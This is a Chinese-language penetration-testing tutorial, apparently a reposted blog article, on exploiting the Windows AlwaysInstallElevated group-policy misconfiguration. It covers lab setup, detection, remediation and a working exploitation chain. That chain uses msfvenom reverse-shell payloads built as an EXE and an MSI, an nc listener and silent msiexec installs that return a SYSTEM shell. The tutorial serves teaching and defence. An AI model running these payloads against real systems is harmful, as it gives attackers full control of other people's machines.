【提权基础入门第一节】AlwaysInstallElevated:一个常被忽视的Windows提权漏洞

admin 2026-03-26 16:26:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了Windows系统中的AlwaysInstallElevated提权漏洞,这是一个因组策略配置不当而产生的经典安全问题。文章从漏洞原理入手,逐步讲解了如何通过手动配置或PowerShell脚本搭建漏洞环境,并提供了利用该漏洞进行提权的两种方法:手动制作恶意MSI安装包和使用msfvenom直接生成恶意MSI文件。此外,文中还阐述了如何通过检查注册表项或使用SharpUp等工具进行漏洞检测,并给出了相应的修复方案,即关闭相关的组策略设置。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,安全建设,技术标准


cover_image

【提权基础入门第一节】AlwaysInstallElevated:一个常被忽视的Windows提权漏洞

塑造者壹号 塑造者壹号

幻泉之洲

2026年3月22日 17:28 北京

普通用户也能进行提权安装?Windows的“始终以提升的权限安装”策略配置不当,会给攻击者留下多大的后门?这篇文章通过搭建环境、手动与工具检测、生成恶意MSI文件、静默执行提权到最终修复,手把手带你复现并理解这个经典漏洞的完整利用链。

这个漏洞到底是怎么回事

想象一下,你在一台Windows电脑上只是个普通用户,没管理员权限,但系统有个配置,让你可以用管理员权限安装任何软件。听起来不可思议,但这正是“AlwaysInstallElevated”漏洞干的事。

它本质上是Windows注册表里的两个开关,分别对应计算机和用户配置。当这两个开关同时被设置为“已启用”时,Windows安装程序服务就会向任何用户开放管理员特权。攻击者利用这点,可以轻松制作一个恶意的MSI安装包,然后用普通用户权限静默运行它,直接拿到系统最高权限。

这往往是系统管理员图省事留下的坑,为后续渗透打开了方便之门。

自己动手搭个实验环境

在复现攻击之前,得先把漏洞环境给配出来。你有两种方法可选。

方法一:手动配置组策略

首先,你需要一个管理员权限的命令提示符或PowerShell窗口。

  1. 运行 gpedit.msc 打开本地组策略编辑器。
  2. 找到“计算机配置 -> 管理模板 -> Windows组件 -> Windows Installer”。

  1. 找到策略“始终以提升的权限安装”,双击它。

  1. 将策略状态改为“已启用”,然后点击“确定”。

  1. 别急,还有用户配置。转到“用户配置 -> 管理模板 -> Windows组件 -> Windows Installer”。

  1. 同样找到并启用“始终以提升的权限安装”策略。

  1. 确认策略状态已启用。

  1. 回到管理员命令行,执行 gpupdate /force 强制更新组策略。

看到策略更新成功,漏洞环境就搭好了。

方法二:一键PowerShell脚本(更省事)

如果你嫌手动点来点去太麻烦,可以用作者提供的脚本。同样在管理员PowerShell里运行:

.\AlwaysInstallElevated.ps1

脚本会自动完成上面所有的配置工作。

怎么判断目标机器有没有这个漏洞

环境搭好了,现在假设你是个攻击者,摸到了一台机器,怎么快速检查它有没有开这个后门?

手动查询注册表

最快的方法就是查注册表。开个CMD或者PowerShell,跑下面两条命令:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

第一条查计算机范围的配置,第二条查当前用户下的配置。只要看到任何一条命令返回的结果里,AlwaysInstallElevated 的值是 0x1,那这台机器就有问题了。

记住,两个键值都必须为1,漏洞才真正可利用。如果只有一个为1,可能是因为策略没同步或配置不完整。

用工具自动扫描(SharpUp)

手动检查没问题,但渗透中讲究效率。你可以用像SharpUp这样的工具来批量或全面检查。运行:

SharpUp.exe audit AlwaysInstallElevated

它会直接告诉你是否存在这个漏洞。

SharpUp的功能不止于此,运行 SharpUp.exe audit 不加参数,它会帮你检查系统里所有常见的不安全配置,是内网渗透的利器。

关键部分:如何利用漏洞提权

检测出漏洞只是开始,真正的重头戏是把它变成我们手里的管理员权限。这里讲解两种 exploit 方法。

手动制作恶意MSI安装包

这种方法稍微复杂点,但能让你更清楚MSI文件是怎么运作的。

首先,你得有个Visual Studio,并且安装一个叫“Microsoft Visual Studio Installer Projects 2022”的扩展。在VS的“扩展 -> 管理扩展”里,在线搜索安装就行。

准备工作:生成恶意载荷

在攻击机(比如Kali)上,用msfvenom生成一个反向shell的可执行文件:

msfvenom -p windows/x64/shell_reverse_tcp lhost=你的IP lport=1234 -f exe > payload.exe

第一步:创建安装项目

在Visual Studio里新建项目,搜索“Setup Wizard”(安装向导)。

给项目起个名字,比如“EvilInstaller”,选个保存路径。

第二步:捆绑恶意文件

在安装向导第三步,选择“添加文件”,把刚才生成的payload.exe加进去,然后完成向导。

第三步:关键配置

  1. 在解决方案资源管理器里选中你的项目,在属性面板把“TargetPlatform”从x86改成x64。

  1. 右键项目,选择“视图 -> 自定义操作”。

  1. 在打开的窗口中,右键“安装”,选择“添加自定义操作”。

  1. 双击“应用程序文件夹”,选中你的payload.exe,点确定。这一步确保了安装程序一运行就会执行我们的木马。

  1. 在属性窗口里,找到“Run64Bit”选项,把它从False改成True。

第四步:编译与执行

  1. 在VS里生成解决方案,你会得到一个EvilInstaller.msi文件。

  2. 在Kali上启动监听器:nc -nvlp 1234

  3. EvilInstaller.msi文件弄到目标Windows机器上。

  4. 在目标机(普通用户权限即可)执行以下命令进行静默安装:

    msiexec /quiet /qn /i EvilInstaller.msi

命令执行后,如果漏洞存在,你的Kali监听器应该会弹回一个具有系统权限的shell。

成功后别忘了清理现场,在目标机运行:msiexec /q /n /uninstall EvilInstaller.msi 可以卸载这个MSI包。

懒人方法:直接用msfvenom生成MSI

如果你觉得用Visual Studio太绕,msfvenom其实可以直接生成恶意的MSI文件,一步到位。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=你的IP LPORT=4444 -f msi > quick.msi

生成后,把它传到目标机器,同样用 msiexec /quiet /qn /i quick.msi 命令执行。效果和上面手动做的一样。

卸载命令也类似:msiexec /q /n /uninstall quick.msi

这个方法更快,但生成的MSI文件可能被一些安全软件标记。手动制作的方法更隐蔽,定制性也更强。

修复方案:把这个后门关上

如果你是系统管理员,看到这里应该已经冒冷汗了。修复其实很简单,就是把那两个组策略开关关掉。

  1. 打开gpedit.msc
  2. 分别找到“计算机配置”和“用户配置”下的“Windows Installer”设置。
  3. 将“始终以提升的权限安装”策略设置为“未配置”或“已禁用”。
  4. 执行gpupdate /force

或者,你也可以直接动注册表,把下面两处的AlwaysInstallElevated值改成0

  • HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
  • HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

根本原则就一条:永远不要在生产环境中启用“AlwaysInstallElevated”策略。软件安装需要权限,就应该走正规的管理员授权流程。

写在最后

AlwaysInstallElevated是一个典型的因便利性牺牲安全性的例子。它在红队评估和渗透测试中是一个高价值的发现点,因为利用起来非常稳定可靠。对于蓝队和系统管理员来说,这应该是一个必须检查并关闭的高危项。

安全往往就藏在那些看似不起眼的默认配置里。


参考资料:

  • AlwaysInstallElevated – Microsoft官方文档
  • Windows Installer 官方文档
  • 如何创建 Windows Installer 文件

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 塑造者壹号 塑造者壹号《【提权基础入门第一节】AlwaysInstallElevated:一个常被忽视的Windows提权漏洞》

评论:0   参与:  0